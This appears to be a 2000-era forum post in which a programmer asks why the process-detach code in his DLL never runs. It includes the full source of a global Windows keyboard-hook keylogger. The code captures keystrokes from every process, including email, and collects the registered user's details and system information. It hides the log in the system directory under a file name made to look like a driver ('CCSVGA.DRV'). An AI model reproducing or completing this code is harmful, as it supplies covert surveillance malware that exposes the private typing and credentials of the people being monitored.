Since this is NOT an easy question I thought I'd start a new post for it....
Life is good in this DLL, it works, it writes temp files with the keyboard capture for each process that is oipened whether it's an email or notepad.
Life is good.
Now, process ends I want to close the temp file, read the buffer and store it in one MAIN file.
It's not happening, MSGBOX "HELLO" does not even happen.
Is there a reason for this?
------------------
Scott
mailto:[email protected][email protected]</A>
[This message has been edited by Scott Turchin (edited December 14, 2000).]
Life is good in this DLL, it works, it writes temp files with the keyboard capture for each process that is oipened whether it's an email or notepad.
Life is good.
Now, process ends I want to close the temp file, read the buffer and store it in one MAIN file.
It's not happening, MSGBOX "HELLO" does not even happen.
Is there a reason for this?
Code:
Function LibMain(ByVal hInstance As Long, _ ByVal fwdReason As Long, _ ByVal lpvReserved As Long) Export As Long Select Case fwdReason Case %DLL_PROCESS_ATTACH Dim MemStat As MEMORYSTATUS Dim SysInfo As SYSTEM_INFO Dim osinfo As OSVERSIONINFO CfgFile = CCSGetSystemDirectory & "\SPYDER32.INI" 'Initialize buffer: KeyFile = CCSGetSystemDirectory & "\CCSVGA.DRV" If IsFalse Exist(KeyFile) Then g_Result = GetRegistrationInfo(wRegUser,wRegCompany,wRegProdID) GlobalMemoryStatus MemStat GetSystemInfo SysInfo KeyBuffer = "Start: " & GetPCTimeandDate() & $CRLF KeyBuffer = KeyBuffer & "Operating System: " & GetWindowsVersion & $CRLF KeyBuffer = KeyBuffer & "RegisteredUser: " & wRegUser & $CRLF KeyBuffer = KeyBuffer & "RegisteredOrganization: " & wRegCompany & $CRLF KeyBuffer = KeyBuffer & "ProductId: " & wRegProdID & $CRLF KeyBuffer = KeyBuffer & "Memory Available: " & Format$(MemStat.dwTotalPhys /1024,"###,###") & " kb" & $CRLF KeyBuffer = KeyBuffer & "Number of Processors: " & Trim$(Str$(SysInfo.dwNumberorfProcessors)) & $CRLF KeyBuffer = KeyBuffer & "Processor Type: " & CPUName & $CRLF KeyBuffer = KeyBuffer & "Processor speed: " & CPUSpeed & " Mhz" & $CRLF KeyBuffer = KeyBuffer & "Processor Ser #: " & GetPIIISerial & $CRLF KeyBuffer = KeyBuffer & "System Drive Info: " & CCSGetVolumeInformation(Left$(CcSGetWindowsDirectory,2)) & $CRLF KeyBuffer = KeyBuffer & "TEMP Folder: " & CCSGetWindowsTempDir & $CRLF KeyBuffer = KeyBuffer & "Windows Directory: " & CCSGetWindowsDirectory & $CRLF KeyBuffer = KeyBuffer & "System Directory: " & CCSGetSystemDirectory & $CRLF hFile = FreeFile Open KeyFile For Output As #hFile Print #hFile, KeyBuffer Close #hFile End If 'No Files are open at this point in time 'Find the next available temp file for us, put in c:\windows or c:\winnt For lLoop = 1 To %MAX_FILES gTmpFile = CCSGetWindowsDirectory & "\CCSTMP" & Trim$(Str$(lLoop)) & ".tmp" If IsTrue Exist(gTmpFile) Then Iterate Else hFile = FreeFile Open gTmpFile For Append As #hFile Exit For End If Next KeyBuffer = String$(60,"-") & $CRLF KeyBuffer = KeyBuffer & "Start: " & GetPCTimeandDate() & $CRLF Print #hFile, KeyBuffer 'Install hook Procedure: hHook = SetWindowsHookEx&(%WH_KEYBOARD, _ CodePtr(KeyBoardHookFunction), _ hInstance, _ 0&) If hHook Then LibMain = 1 'success! End If Exit Function Case %DLL_PROCESS_DETACH hHook = UnhookWindowsHookEx(hHook) KeyBuffer = KeyBuffer & "End: " & GetPCTimeandDate() & $CRLF KeyBuffer = KeyBuffer & String$(60,"-") & $CRLF ' Keybuffer = ConvertToHexString(Keybuffer) Print #hFile, KeyBuffer 'Goes into TMP File Close #hFile 'Tmp file 'Temp file is closed, read the entire file in now (Keystrokes not stored in keybuffer), then kill it KeyBuffer = CCSReadFile(gTmpFile) Kill gTmpFile 'Now open the main file, append KeyBuffer to it, and close it. hFile = FreeFile Open KeyFile For Append Lock Read Write As #hFile Print #hFile, KeyBuffer Close #hFile If hHook Then LibMain = 1 'success! End If Exit Function Case %DLL_THREAD_ATTACH LibMain = 1 'success! Exit Function Case %DLL_THREAD_DETACH LibMain = 1 'success! Exit Function End Select End Function ' ' Function KeyBoardHookFunction(ByVal HookCode As Long, _ ByVal wParam As Long, _ ByVal lParam As Long) Export As Long If Bit(lParam, 31) Then 'Only grab the keyup Select Case wParam Case 13 Print #hFile,"" Case 32 To 90 'Normal Ascii Keys ' KeyBuffer = KeyBuffer & Chr$(wParam) 'add keypress Print #hFile, Chr$(wParam); End Select End If End Function
Scott
mailto:[email protected][email protected]</A>
[This message has been edited by Scott Turchin (edited December 14, 2000).]
Comment